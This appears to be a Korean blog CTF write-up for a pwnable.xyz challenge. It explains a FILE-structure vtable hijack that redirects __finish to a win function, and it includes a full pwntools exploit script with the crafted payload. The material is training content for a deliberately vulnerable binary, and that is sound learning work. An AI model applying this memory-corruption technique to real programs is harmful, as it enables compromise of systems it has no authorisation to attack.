FILE 구조체를 이해하고 있어야 풀 수 있다.
read(0, &input, 0x404uLL);
fclose(&input);
|
임의의 FILE 구조체를 만들 수 있고, 그것을 fclose로 닫는다. fake vtable을 구성하고 vtable->__finish를 win으로 바꾸면 된다.
적절한 _lock을 설정하지 않으면 segfault가 발생하므로 lock object를 0x601800에 설정했다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
from pwn import *
import argparse parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30018) else : p = process('./challenge') def exploit() : _input = 0x601260 payload = p64(0)*17 payload += p64(0x601800) payload += p64(0)*9 payload += p64(_input+0xE0) payload += p64(0)*2 payload += p64(0x4007EC) p.write(payload) p.interactive() if __name__ == '__main__' : exploit() |
Last update: 4/8/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / attack (0) | 2020.04.08 |
---|---|
pwnable.xyz / rwsr (0) | 2020.01.20 |
pwnable.xyz / message (0) | 2020.01.17 |
pwnable.xyz / UAF (0) | 2020.01.17 |
pwnable.xyz / iape (0) | 2020.01.16 |